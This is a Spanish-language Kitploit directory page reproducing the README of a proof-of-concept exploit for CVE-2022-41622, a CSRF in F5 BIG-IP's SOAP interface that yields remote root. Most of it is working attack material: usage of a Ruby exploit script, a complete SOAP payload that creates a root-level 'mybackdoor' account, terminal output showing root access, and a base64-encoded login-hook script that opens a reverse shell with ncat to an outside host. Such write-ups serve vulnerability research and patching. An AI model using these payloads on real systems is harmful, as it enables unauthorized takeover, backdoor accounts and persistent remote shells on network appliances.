Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
refreshing-soap-exploit — Un exploit PoC para CVE-2022-41622 - un CSRF en el plano de control de F5 BIG-IP que conduce a root remoto | Kitploit
Herramientas/GitHubGitHub/rbowes-r7/refreshing-soap-exploit
Escalada de PrivilegiosMecanismos de PersistenciaExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónPruebas de PenetraciónComando y ControlRed TeamingHerramienta de Acceso Remoto

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Desarrollo de Payloads
GitHubrbowes-r7/refreshing-soap-exploit

refreshing-soap-exploit

Un exploit PoC para CVE-2022-41622 - un CSRF en el plano de control de F5 BIG-IP que conduce a root remoto

Ver Repositorio
22516hace 3 añosRevisado por Kitploit

Esta es una prueba de concepto para CVE-2022-41622, que es un CSRF en F5 Big-IP que conduce a ejecución remota de código. Usar esto es un poco complicado, pero te guiaré a través de mis casos de uso favoritos.

La vulnerabilidad

La vulnerabilidad principal es una falsificación de petición en sitios cruzados (CSRF) en la interfaz SOAP de F5 Big-IP, a la que se accede mediante /iControl/iControlPortal.cgi, que se ejecuta como root. Pero a pesar de ser root, estamos restringidos por una política de SELinux, lo que dificulta la explotación. Sin embargo, mostraremos algunas formas de eludir esta restricción más adelante.

La interfaz SOAP no tiene protección CSRF, lo que significa que un atacante puede aprovechar la sesión de un usuario autenticado para realizar cualquier solicitud SOAP compatible. Se incluye la lista completa de archivos WSDL y hemos creado payloads para algunos de los importantes.

Uso básico

El uso básico es:

ruby f5-soap-exploit.rb <target> <xml_template> [username:password]

username:password es solo para pruebas: toma una cuenta de administrador válida y envía la solicitud SOAP directamente al servidor. Esto no es un exploit ni una PoC, simplemente se usa el endpoint según lo previsto.

Si no proporcionas un username:password, imprimirá un payload CSRF. Para explotar el bug, un administrador autenticado tendrá que visitar un sitio que contenga ese payload. Su navegador será redirigido y la acción ocurrirá en segundo plano.

Ten en cuenta que los payloads reales no son bonitos ni están ocultos de ninguna manera; para explotar esto de verdad, probablemente tendrás que esforzarte un poco.

Escenarios

Los demostraremos usando una cuenta real, pero recuerda que puedes explotar cualquiera de estos usando CSRF.

Agregar un usuario root

Este es probablemente el más fácil de explotar. Agrega una cuenta de usuario con una contraseña, y puedes usar esa contraseña para iniciar sesión mediante ssh. También es ruidoso, ¡por supuesto!

(La contraseña predeterminada en el payload es Password1)

$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/add_user.xml admin:Password1
NOTE: You've provided a username and password, which means this is going
to authenticate, and therefore isn't an exploit

Don't enter a username:password if you want to generate a CSRF exploit!
Value for USERNAME [rontest]: mybackdoor
Value for FULLNAME [Ron Test]: My Backdoor
Value for CRYPTSHA512HASH [$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0]:
Sending the following payload directly to 10.0.0.162...

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:user="urn:iControl:Management/UserManagement" xmlns:so
apenc="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Header/>
<soapenv:Body>
<user:create_user_3 soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<users xsi:type="urn:Management.UserManagement.UserInfo3Sequence" soapenc:arrayType="urn:Management.UserManagement.UserInfo3[]" xmlns:urn="urn:iControl">

<item>
  <user>
    <name>mybackdoor</name>
    <full_name>My Backdoor</full_name>
  </user>

  <password>
    <is_encrypted>true</is_encrypted>
    <password>$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0</password>
  </password>

  <permissions>
    <item>
      <role>USER_ROLE_ADMINISTRATOR</role>
      <partition>[All]</partition>
    </item>
  </permissions>

  <login_shell>/bin/bash</login_shell>
</item>
</users>
</user:create_user_3>
</soapenv:Body>
</soapenv:Envelope>

Response:
<E:Envelope
        xmlns:E="http://schemas.xmlsoap.org/soap/envelope/"
        xmlns:A="http://schemas.xmlsoap.org/soap/encoding/"
        xmlns:s="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:y="http://www.w3.org/2001/XMLSchema"
        xmlns:iControl="urn:iControl"
        E:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<E:Body>
<m:create_user_3Response
        xmlns:m="urn:iControl:Management/UserManagement"></m:create_user_3Response>
</E:Body>
</E:Envelope>

$ ssh [email protected]
([email protected]) Password:
([email protected]) You are required to change your password immediately (root enforced)
[...]

[mybackdoor@localhost:NO LICENSE:Standalone] ~ # whoami
root

Shell remota al iniciar sesión

Encontramos un enlace simbólico en /etc/profile.d que no está cubierto por SELinux:

# ls -l /etc/profile.d/timeout.sh
lrwxrwxrwx. 1 root root 31 Jul 15 02:48 /etc/profile.d/timeout.sh -> ../../var/run/config/timeout.sh

timeout.sh puede ser reemplazado, y la próxima vez que un usuario inicie sesión, cualquier código en él se ejecutará. Ten en cuenta que sobrescribir timeout.sh puede causar problemas; no tengo idea de qué se supone que debe hacer (aunque se restaura al reiniciar).

Reemplazaremos timeout.sh con lo siguiente: básicamente, restaurar el timeout.sh original y luego abrir una shell (también puedes encontrarlo en la carpeta examples/):

# Restore the original file
echo 'IwojIFRISVMgSVMgQU4gQVVUTy1HRU5FU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B8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=

$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/upload_file.xml admin:Password1
NOTE: You've provided a username and password, which means this is going
to authenticate, and therefore isn't an exploit

Don't enter a username:password if you want to generate a CSRF exploit!
Value for FILENAME [/tmp/csrfdemo.txt]: /var/run/config/timeout.sh
Value for BASE64FILEDATA [SGVsbG8gd29ybGQh]: IyBSZXN0b3JlIHRoZSBvcmlnaW5hbCBmaWxlCmVjaG8gJ0l3b2pJRlJJU1ZNZ1NWTWdRVTRnUVZWVVR5MUhSVTVGVWtGVVJVUWdSa2xNUlNBdElFUlBJRTVQVkNCRlJFbFVJU0VoQ2lNS0l5QlZjMlVnZEdobElIUnRjMmdnYzJobGJHd2dkWFJwYkdsMGVTQjBieUJ0WVd0bElHTm9ZVzVuWlhNZ2RHOGdkR2hsSUhONWMzUmxiU0JqYjI1bWFXZDFjbUYwYVc5dUxnb2pJRVp2Y2lCdGIzSmxJR2x1Wm05eWJXRjBhVzl1TENCelpXVWdkRzF6YUNBdFlTQm9aV3h3SUhONWN5QnpjMmhrTGdwUVUwOVZWRDFnTDJKcGJpOXdjeUF0TFc1dkxXaGxZV1JsY25NZ0xXOGdkSFI1SUMwa0pHQUthV1lnV3lBaUpIdFFVMDlWVkRvd09qTjlJaUE5UFNBaWRIUjVJaUJkT3lCMGFHVnVDaUFnSUNCbGVIQnZjblFnVkUxUFZWUTlNQXBsYkhObENpQWdJQ0JsZUhCdmNuUWdWRTFQVlZROU1BcG1hUW9LJyB8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=
Sending the following payload directly to 10.0.0.162...
Descargar herramienta